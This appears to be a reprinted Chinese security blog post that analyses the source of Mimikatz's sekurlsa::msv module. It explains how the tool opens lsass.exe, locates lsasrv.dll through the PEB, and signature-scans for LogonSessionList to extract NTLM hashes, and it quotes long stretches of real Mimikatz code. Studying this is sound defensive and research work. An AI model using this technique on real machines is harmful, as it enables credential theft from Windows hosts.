Mimikatz Explorer - Sekurlsa::MSV
2023-4-22 12:12:38 Author: 星冥安全(查看原文) 阅读量:28 收藏

Mimikatz 的 sekurlsa::msv 功能可以在线从当前主机的 lsass.exe 进程中枚举哈希(LM & NTLM)凭据。

Mimikatz 的 sekurlsa::msv 功能可以在线从当前主机的 lsass.exe 进程中枚举哈希(LM & NTLM)凭据。

当 Windows 系统启动时,lsasrv.dll 会被加载到 lsass.exe 进程中用于本地安全密码验证,该模块中的 LogonSessionList 和 LogonSessionListCount 两个全局变量分别用于存储当前活动的 Windows 登录会话标识符和会话数。

Mimikatz 的 msv 模块的原理便是首先从 lsass.exe 进程中计算出加载的 lsasrv.dll 模块的基地址,然后在该模块中定位两个全局变量,最后从 LogonSessionList 中解密用户凭据。至于如何找这两个变量,Mimikatz 采用了签名扫描的方法。由于两个变量都是全局变量,因此它们可以利用某些不变的签名内存作为特征码来识别引用这些全局变量的指令。

例如在 Windows 10 x64 1903 系统中,Mimikatz 扫描下图红色边框标出的特征码,以识别 mov r9d, cs:?LogonSessionListCount 和 lea rcx, ?LogonSessionList 指令。在 x86_64 架构上,这些指令使用 rip 相对寻址来访问和使用全局变量,下图中的蓝色和绿色边框标出的字节序列,即为指令所保存的 LogonSessionList 和 LogonSessionListCount 相对于当前指令的偏移量(小端序)。

下面给出更深入的解释:

  • 签名:上图中红色边框标出的字节序列,这一段字节序列在同一版本系统中不变,因此可以用来识别 mov r9d, cs:?LogonSessionListCount 和 lea rcx, ?LogonSessionList 指令。

  • LogonSessionList:在 x86_64 架构上,可以引用相对于指令指针当前值的地址。绿色边框标出的四个字节前的三个字节标记了 lea rsi 指令,边框内的四个字节保存了 LogonSessionList 变量相对于 rip 指令的偏移量。此时 rip 指向的地址为绿色边框结束的地址。

  • LogonSessionListCount:同理,LogonSessionListCount 变量的偏移量由蓝色边框标记出。此时 rip 指向的地址为蓝色边框结束的地址。

在这个例子中,Mimikatz先扫描出特征码的地址是 0x18006D4A4,然后加上 23 个字节定位到保存 LogonSessionList 变量的地址,取出偏移量为 0x119DC1,因此可以计算出 LogonSessionList 变量的地址为 0x18006D4A4 + Hex(23) + Hex(4) + 0x119DC1 = 0x180187280,如下图所示位置,可以看到 LogonSessionList 是一个 LIST_ENTRY 结构体,该结构会在下文中讲到。

同理可以算出 LogonSessionListCount 变量的地址。

Make Lsass Packages

根据 msv 功能的名称找到其入口函数 kuhl_m_sekurlsa_msv()

  • sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.c

NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[])
{
return kuhl_m_sekurlsa_getLogonData(kuhl_m_sekurlsa_msv_single_package, 1);
}

这里的 kuhl_m_sekurlsa_msv_single_package 是包含了本模块所使用的 lsass 包:

KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package = {L"msv", kuhl_m_sekurlsa_enum_logon_callback_msv, TRUE, L"lsasrv.dll", {{{NULL, NULL}, 0, 0, NULL}, FALSE, FALSE}};

这是一个 KUHL_M_SEKURLSA_PACKAGE 结构体,用于存放功能名、回调函数、需要找的进程模块等信息:

typedef struct _KUHL_M_SEKURLSA_PACKAGE {
const wchar_t * Name;
PKUHL_M_SEKURLSA_ENUM_LOGONDATA CredsForLUIDFunc;
BOOL isValid;
const wchar_t * ModuleName;
KUHL_M_SEKURLSA_LIB Module;
} KUHL_M_SEKURLSA_PACKAGE, *PKUHL_M_SEKURLSA_PACKAGE;

随后调用 kuhl_m_sekurlsa_getLogonData() 函数获取用户的登录信息,该函数后紧接着一系列复杂的调用过程。

Get Logon Data

跟进 kuhl_m_sekurlsa_getLogonData() 函数:

  • sekurlsa\kuhl_m_sekurlsa.c

NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
{
KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);
}

这里将传进来的 lsass 包组成 OptionalData 后传入 kuhl_m_sekurlsa_enum() 函数。

Main Enumeration Function

跟进 kuhl_m_sekurlsa_enum() 函数,该函数是主要的枚举函数,枚举包括 lsass.exe 进程、用户会话在内的相关信息。

  • sekurlsa\kuhl_m_sekurlsa.c

NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)
{
KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData;
ULONG nbListes = 1, i;
PVOID pStruct;
KULL_M_MEMORY_ADDRESS securityStruct, data = {&nbListes, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
BOOL retCallback = TRUE;
const KUHL_M_SEKURLSA_ENUM_HELPER * helper;
// 调用 kuhl_m_sekurlsa_acquireLSA() 函数提取 lsass.exe 进程信息
NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();

if(NT_SUCCESS(status))
{
sessionData.cLsass = &cLsass;
sessionData.lsassLocalHelper = lsassLocalHelper;
// 判断当前 Windows 系统的版本信息
if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_2K3)
helper = &lsassEnumHelpers[0];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_VISTA)
helper = &lsassEnumHelpers[1];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_7)
helper = &lsassEnumHelpers[2];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_8)
helper = &lsassEnumHelpers[3];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
helper = &lsassEnumHelpers[5];
else
helper = &lsassEnumHelpers[6];

if((cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_7) && (cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE) && (kuhl_m_sekurlsa_msv_package.Module.Informations.TimeDateStamp > 0x53480000))
helper++; // yeah, really, I do that =)

securityStruct.hMemory = cLsass.hLsassMem;
if(securityStruct.address = LogonSessionListCount)
kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG));

for(i = 0; i < nbListes; i++)
{
securityStruct.address = &LogonSessionList[i];
data.address = &pStruct;
data.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
{
if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID)))
{
data.address = pStruct;
data.hMemory = securityStruct.hMemory;

while((data.address != securityStruct.address) && retCallback)
{
if(kull_m_memory_copy(&aBuffer, &data, helper->tailleStruct))
{
sessionData.LogonId = (PLUID) ((PBYTE) aBuffer.address + helper->offsetToLuid);
sessionData.LogonType = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToLogonType));
sessionData.Session = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToSession));
sessionData.UserName = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername);
sessionData.LogonDomain = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain);
sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials);
sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid);
sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager);
sessionData.LogonTime = *((PFILETIME) ((PBYTE) aBuffer.address + helper->offsetToLogonTime));
sessionData.LogonServer = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer);

kull_m_process_getUnicodeString(sessionData.UserName, cLsass.hLsassMem);
kull_m_process_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem);
kull_m_process_getUnicodeString(sessionData.LogonServer, cLsass.hLsassMem);
kull_m_process_getSid(&sessionData.pSid, cLsass.hLsassMem);

retCallback = callback(&sessionData, pOptionalData);

if(sessionData.UserName->Buffer)
LocalFree(sessionData.UserName->Buffer);
if(sessionData.LogonDomain->Buffer)
LocalFree(sessionData.LogonDomain->Buffer);
if(sessionData.LogonServer->Buffer)
LocalFree(sessionData.LogonServer->Buffer);
if(sessionData.pSid)
LocalFree(sessionData.pSid);

data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink;
}
else break;
}
}
LocalFree(aBuffer.address);
}
}
}
return status;
}

可以看到,首先会调用 kuhl_m_sekurlsa_acquireLSA() 函数,该函数的作用是提取 lsass.exe 的进程信息。

跟进 kuhl_m_sekurlsa_acquireLSA() 函数:

  • sekurlsa\kuhl_m_sekurlsa.c

NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
NTSTATUS status = STATUS_SUCCESS;
KULL_M_MEMORY_TYPE Type;
HANDLE hData = NULL;
DWORD pid, cbSk;
PMINIDUMP_SYSTEM_INFO pInfos;
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE;
PBYTE pSk;

//
if(!cLsass.hLsassMem)
{
status = STATUS_NOT_FOUND;
if(pMinidumpName)
{
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
}
else
{
Type = KULL_M_MEMORY_TYPE_PROCESS;
// 获取 lsass.exe 进程的 PID
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
// 打开 lsass.exe 进程的句柄
hData = OpenProcess(processRights, FALSE, pid);
else PRINT_ERROR(L"LSASS process not found (?)\n");
}

if(hData && hData != INVALID_HANDLE_VALUE)
{
if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
{
if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
{
// ......
}
else
{
#if defined(_M_IX86)
if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
else
#endif
{
// 设置 KUHL_M_SEKURLSA_OS_CONTEXT(osContext)结构中的三个值
cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;
}
}

if(!isError)
{
lsassLocalHelper =
#if defined(_M_ARM64)
&lsassLocalHelpers[0]
#else
(cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
#endif
;

if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
{
#if !defined(_M_ARM64)
kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
#endif
kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
{
kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
{
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
if(!NT_SUCCESS(status))
PRINT_ERROR(L"Key import\n");
}
else PRINT_ERROR(L"Logon list\n");
}
else PRINT_ERROR(L"Modules informations\n");
}
else PRINT_ERROR(L"Local LSA library failed\n");
}
}
else PRINT_ERROR(L"Memory opening\n");

if(!NT_SUCCESS(status))
CloseHandle(hData);
}
else PRINT_ERROR_AUTO(L"Handle on memory");

if(!NT_SUCCESS(status))
cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
}
return status;
}

由于 pMinidumpName 初始值为 NULL,因此会通过 kull_m_process_getProcessIdForName 和 OpenProcess 两个函数获取 lsass.exe 进程的 PID,并创建一个进程的句柄 hData。然后调用 kull_m_memory_open() 函数。

Initialize LSA Context

kull_m_memory_open() 函数传入的第三个参数为 &cLsass.hLsassMem,其中 cLsass 是一个 KUHL_M_SEKURLSA_CONTEXT 结构体,如下所示。

typedef struct _KUHL_M_SEKURLSA_CONTEXT {
PKULL_M_MEMORY_HANDLE hLsassMem;
KUHL_M_SEKURLSA_OS_CONTEXT osContext;
} KUHL_M_SEKURLSA_CONTEXT, *PKUHL_M_SEKURLSA_CONTEXT;

hLsassMem 用于存储进程的句柄等有关信息,其结构如下,在 MSV 功能种只用到了其中的 pHandleProcess

typedef struct _KULL_M_MEMORY_HANDLE {
KULL_M_MEMORY_TYPE type;
union {
PKULL_M_MEMORY_HANDLE_PROCESS pHandleProcess;
PKULL_M_MEMORY_HANDLE_FILE pHandleFile;
PKULL_M_MEMORY_HANDLE_PROCESS_DMP pHandleProcessDmp;
PKULL_M_MEMORY_HANDLE_KERNEL pHandleDriver;
};
} KULL_M_MEMORY_HANDLE, *PKULL_M_MEMORY_HANDLE;

跟进 kull_m_memory_open() 函数,其作用就是为 cLsass.hLsassMem 结构里面的 pHandleProcess 开辟内存并设置 cLsass.hLsassMem.pHandleProcess->hProcess 为 lsass 进程的句柄。

  • kull_m_memory.c

BOOL kull_m_memory_open(IN KULL_M_MEMORY_TYPE Type, IN HANDLE hAny, OUT PKULL_M_MEMORY_HANDLE *hMemory)
{
BOOL status = FALSE;

*hMemory = (PKULL_M_MEMORY_HANDLE) LocalAlloc(LPTR, sizeof(KULL_M_MEMORY_HANDLE));
if(*hMemory)
{
(*hMemory)->type = Type;
switch (Type)
{
case KULL_M_MEMORY_TYPE_OWN:
// ......
case KULL_M_MEMORY_TYPE_PROCESS:
// 为 pHandleProcess 开辟内存
if((*hMemory)->pHandleProcess = (PKULL_M_MEMORY_HANDLE_PROCESS) LocalAlloc(LPTR, sizeof(KULL_M_MEMORY_HANDLE_PROCESS)))
{
// 将 pHandleProcess->hProcess 赋值为 lsass 进程的句柄
(*hMemory)->pHandleProcess->hProcess = hAny;
status = TRUE;
}
break;
case KULL_M_MEMORY_TYPE_FILE:
// ......
case KULL_M_MEMORY_TYPE_PROCESS_DMP:
// ......
case KULL_M_MEMORY_TYPE_KERNEL:
// ......
default:
break;
}
if(!status)
LocalFree(*hMemory);
}
return status;
}

回到 kuhl_m_sekurlsa_acquireLSA() 函数,设置将有关系统版本的信息复制到 cLsass.osContext 中:

// 设置 KUHL_M_SEKURLSA_OS_CONTEXT(osContext)结构中的三个值
cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;

如果此时没有错误,则调用 kull_m_process_getVeryBasicModuleInformations() 函数获取 lsass.exe 进程的基础信息,主要用来获取加载的 lsasrv.dll 模块的基地址。

Get Very Basic Module Informations

跟进 kull_m_process_getVeryBasicModuleInformations() 函数:

  • kull_m_process.c

NTSTATUS kull_m_process_getVeryBasicModuleInformations(PKULL_M_MEMORY_HANDLE memory, PKULL_M_MODULE_ENUM_CALLBACK callBack, PVOID pvArg)
{
NTSTATUS status = STATUS_DLL_NOT_FOUND;
PLDR_DATA_TABLE_ENTRY pLdrEntry;
PEB Peb; PEB_LDR_DATA LdrData; LDR_DATA_TABLE_ENTRY LdrEntry;
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
// ...
#endif
ULONG i;
KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_ADDRESS aProcess= {NULL, memory};
PBYTE aLire, fin;
PWCHAR moduleNameW;
UNICODE_STRING moduleName;
PMINIDUMP_MODULE_LIST pMinidumpModuleList;
PMINIDUMP_STRING pMinidumpString;
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION moduleInformation;
PRTL_PROCESS_MODULES modules = NULL;
BOOL continueCallback = TRUE;
moduleInformation.DllBase.hMemory = memory;
switch(memory->type)
{
case KULL_M_MEMORY_TYPE_OWN:
// ......
case KULL_M_MEMORY_TYPE_PROCESS:
moduleInformation.NameDontUseOutsideCallback = &moduleName;
// 获取进程的 PEB 结构
if(kull_m_process_peb(memory, &Peb, FALSE))
{
aBuffer.address = &LdrData; aProcess.address = Peb.Ldr;
// 将 Peb.Ldr 指向的 PEB_LDR_DATA 结构复制到 LdrData 中
if(kull_m_memory_copy(&aBuffer, &aProcess, sizeof(LdrData)))
{
// 遍历所有 LDR_DATA_TABLE_ENTRY 结构
for(
aLire = (PBYTE) (LdrData.InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),
fin = (PBYTE) (Peb.Ldr) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector);
(aLire != fin) && continueCallback;
aLire = (PBYTE) LdrEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)
)
{
// 将 aLire 指向的 LDR_DATA_TABLE_ENTRY 结构复制到 LdrEntry 中
aBuffer.address = &LdrEntry; aProcess.address = aLire;
if(continueCallback = kull_m_memory_copy(&aBuffer, &aProcess, sizeof(LdrEntry)))
{
// 获取模块地址
moduleInformation.DllBase.address = LdrEntry.DllBase;
// 获取模块映像大小
moduleInformation.SizeOfImage = LdrEntry.SizeOfImage;
// 获取模块映像名称
moduleName = LdrEntry.BaseDllName;
// BaseDllName.Buffer 中保存了模块映像名称字符串
if(moduleName.Buffer = (PWSTR) LocalAlloc(LPTR, moduleName.MaximumLength))
{
aBuffer.address = moduleName.Buffer; aProcess.address = LdrEntry.BaseDllName.Buffer;
if(kull_m_memory_copy(&aBuffer, &aProcess, moduleName.MaximumLength))
{
kull_m_process_adjustTimeDateStamp(&moduleInformation);
continueCallback = callBack(&moduleInformation, pvArg);
}
LocalFree(moduleName.Buffer);
}
}
}
status = STATUS_SUCCESS;
}
}
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
// ......
#endif
break;

case KULL_M_MEMORY_TYPE_PROCESS_DMP:
// ......
case KULL_M_MEMORY_TYPE_KERNEL:
// ......
default:
status = STATUS_NOT_IMPLEMENTED;
break;
}

return status;
}

在 kull_m_process_getVeryBasicModuleInformations() 函数内部,将调用 kull_m_process_peb() 函数,用于获取 lsass.exe 进程的 PEB 结构。

Get PEB Structure

跟进 kull_m_process_peb() 函数:

  • kull_m_process.c

BOOL kull_m_process_peb(PKULL_M_MEMORY_HANDLE memory, PPEB pPeb, BOOL isWOW)
{
BOOL status = FALSE;
PROCESS_BASIC_INFORMATION processInformations;
HANDLE hProcess = (memory->type == KULL_M_MEMORY_TYPE_PROCESS) ? memory->pHandleProcess->hProcess : GetCurrentProcess();
KULL_M_MEMORY_ADDRESS aBuffer = {pPeb, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_ADDRESS aProcess= {NULL, memory};
PROCESSINFOCLASS info;
ULONG szPeb, szBuffer, szInfos;
LPVOID buffer;

#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
if(isWOW)
{
info = ProcessWow64Information;
szBuffer = sizeof(processInformations.PebBaseAddress);
buffer = &processInformations.PebBaseAddress;
szPeb = sizeof(PEB_F32);
}
else
{
#endif
info = ProcessBasicInformation;
szBuffer = sizeof(processInformations);
buffer = &processInformations;
szPeb = sizeof(PEB);
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
}
#endif

switch(memory->type)
{
#if !defined(MIMIKATZ_W2000_SUPPORT)
case KULL_M_MEMORY_TYPE_OWN:
if(!isWOW)
{
*pPeb = *RtlGetCurrentPeb();
status = TRUE;
break;
}
#endif
case KULL_M_MEMORY_TYPE_PROCESS:
// 通过 NtQueryInformationProcess 函数获取 lsass.exe 进程的信息,并将其写入 buffer 中
if(NT_SUCCESS(NtQueryInformationProcess(hProcess, info, buffer, szBuffer, &szInfos)) && (szInfos == szBuffer) && processInformations.PebBaseAddress)
{
aProcess.address = processInformations.PebBaseAddress;
status = kull_m_memory_copy(&aBuffer, &aProcess, szPeb);
}
break;
}
return status;
}

kull_m_process_peb() 函数将通过 NtQueryInformationProcess() 函数检索 lsass.exe 进程的信息,并将其写入 buffer 中。由于 buffer 是指向 processInformations 的指针,因此检索到的信息最终将由 processInformations 接收,这是一个 PROCESS_BASIC_INFORMATION 结构体,其声明如下。

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;

其中 PebBaseAddress 是指向进程 PEB 结构的指针。

获取到 PebBaseAddress 后,将其赋给 aProcess.addressaProcess 和 aBuffer 都是 KULL_M_MEMORY_ADDRESS 结构体,其声明如下。

typedef struct _KULL_M_MEMORY_ADDRESS {
LPVOID address;
PKULL_M_MEMORY_HANDLE hMemory;
} KULL_M_MEMORY_ADDRESS, *PKULL_M_MEMORY_ADDRESS;

接下来会调用 kull_m_memory_copy() 函数,通过 ReadProcessMemory() 函数将 aProcess.address 指向的 PEB 结构的内存读取到 aBuffer.address 指向的内存空间中,最终 pPeb 成为指向 PEB 结构的指针。在后续的过程中,这种内存复制的方法会经常出现。

获取到 PEB 结构后,返回 kull_m_process_getVeryBasicModuleInformations() 函数。

Process Envirorment Block Structure(PEB)

Process Envirorment Block Structure(PEB)即进程环境信息块,Windows 系统的每个运行的进程都维护着一个 PEB 数据块,其中包含适用于整个进程的数据结构,存储着全局上下文、启动参数、加载的模块等信息。

typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

在 PEB 结构中有一个指向 PEB_LDR_DATA 结构体的指针 Ldr,该结构中记录着进程已加载模块的信息,其声明如下。

typedef struct _PEB_LDR_DATA
{

ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; // 在 Mimikatz 中是 InLoadOrderModulevector
LIST_ENTRY InMemoryOrderModuleList; // 在 Mimikatz 中是 InMemoryOrderModulevector
LIST_ENTRY InInitializationOrderModuleList; // 在 Mimikatz 中是 InInitializationOrderModulevector
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

在 PEB_LDR_DATA 结构体中提供了三个链表 InMemoryOrderModuleListInMemoryOrderModuleList 和 InInitializationOrderModuleList,链表内的节点都是一样的,只是排序不同。每个链表都是 LIST_ENTRY 结构体,其声明如下。

typedef struct _LIST_ENTRY
{

PLIST_ENTRY Flink;
PLIST_ENTRY Blink;
} LIST_ENTRY, *PLIST_ENTRY;

可以看到这个结构有两个成员,成员 Flink 指向下一个节点,Blink 指向上一个节点,所以这是一个双向链表。

当我们从 PEB_LDR_DATA 结构中取到任何一个 LIST_ENTRY 结构时,这个结构中的 Flink 链接到真正的模块链表,这个真正的链表的每个成员都是一个 LDR_DATA_TABLE_ENTRY 结构,其结构声明如下。

typedef struct _LDR_DATA_TABLE_ENTRY
{

LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{

LIST_ENTRY HashLinks;
struct
{

PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{

ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

可以看到,该结构保存了进程已加载模块的信息。并且也有三个 LIST_ENTRY 结构的链表 InLoadOrderLinksInMemoryOrderLinks 和 InInitializationOrderLinks,他们分别对应下一个或上一个 LDR_DATA_TABLE_ENTRY 节点中的 LIST_ENTRY 结构。

以 InMemoryOrderModuleList\InMemoryOrderLinks 为例,也就是说:

  • 第一个 PEB_LDR_DATA 结构中 InMemoryOrderModuleList 中的 Flink 指向第一个 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLinks 的首地址。

  • 第一个 PEB_LDR_DATA 结构中 InMemoryOrderModuleList 中的 Blink 指向最后一个 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLinks 的首地址。

  • 第一个 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLinks 中的 Flink 指向第二个 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLinks 的首地址。

  • 第一个 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLinks 中的 Blink 指向 PEB_LDR_DATA 结构中 InMemoryOrderModuleList 的首地址。

  • 最后一个 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLinks 中的 Flink 指向 PEB_LDR_DATA 结构中 InMemoryOrderModuleList 的首地址。

最终可以构建起一个以 PEB_LDR_DATA 为起点的一个闭合环形双向链表,这样就可以通过 PEB 遍历进程加载的所有模块了。

Get Base Address Of Lsasrv.dll Module

成功获取 PEB 结构后,回到 kull_m_process_getVeryBasicModuleInformations() 函数,通过 kull_m_memory_copy() 函数将 Peb.Ldr 指向的 PEB_LDR_DATA 结构复制到 LdrData 中。然后遍历所有 LDR_DATA_TABLE_ENTRY 结构,分别获取模块地址、映像大小和映像名称,并把它们保存到 moduleInformation 中,这是了一个 KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION 结构体,其声明如下,用于存储 lsasrv.dll 模块的有关信息。

typedef struct _KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION {
KULL_M_MEMORY_ADDRESS DllBase; // 存储已加载模块的地址
ULONG SizeOfImage; // 存储已加载模块的映像大小
ULONG TimeDateStamp;
PCUNICODE_STRING NameDontUseOutsideCallback; // 存储已加载模块的映像名称
} KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION, *PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION;

最后进入回调函数:

continueCallback = callBack(&moduleInformation, pvArg);

在这里 callBack 是 kuhl_m_sekurlsa_findlibs() 函数,其定义如下。

BOOL CALLBACK kuhl_m_sekurlsa_findlibs(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
ULONG i;
for(i = 0; i < ARRAYSIZE(lsassPackages); i++)
{
if(_wcsicmp(lsassPackages[i]->ModuleName, pModuleInformation->NameDontUseOutsideCallback->Buffer) == 0)
{
lsassPackages[i]->Module.isPresent = TRUE;
lsassPackages[i]->Module.Informations = *pModuleInformation;
}
}
return TRUE;
}

该函数通过将传进来的 pModuleInformation 中的模块名称与前文中定义的 lsass 包中需要找的进程模块进行比对,如果相同,则将 lsass 包中的 Module.isPresent 设为 TRUE 并将 pModuleInformation 保存到 lsass 包的 Module.Informations 中。

至此,成功获取 lsass.exe 进程中加载的 lsasrv.dll 模块的信息,kull_m_process_getVeryBasicModuleInformations() 函数调用结束。接下来,将 cLsass 的地址和 kuhl_m_sekurlsa_msv_package.Module 传入 kuhl_m_sekurlsa_utils_search() 函数,并在该函数中定位 LogonSessionList 和 LogonSessionListCount 这两个全局变量。

Get LogonSessionList & LogonSessionListCount Global Variables

跟进 kuhl_m_sekurlsa_utils_search() 函数:

  • sekurlsa\kuhl_m_sekurlsa_utils.c

PLIST_ENTRY LogonSessionList = NULL;
PULONG LogonSessionListCount = NULL;

BOOL kuhl_m_sekurlsa_utils_search(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib)
{
PVOID *pLogonSessionListCount = (cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_2K3) ? NULL : ((PVOID *) &LogonSessionListCount);
return kuhl_m_sekurlsa_utils_search_generic(cLsass, pLib, LsaSrvReferences, ARRAYSIZE(LsaSrvReferences), (PVOID *) &LogonSessionList, pLogonSessionListCount, NULL, NULL);
}

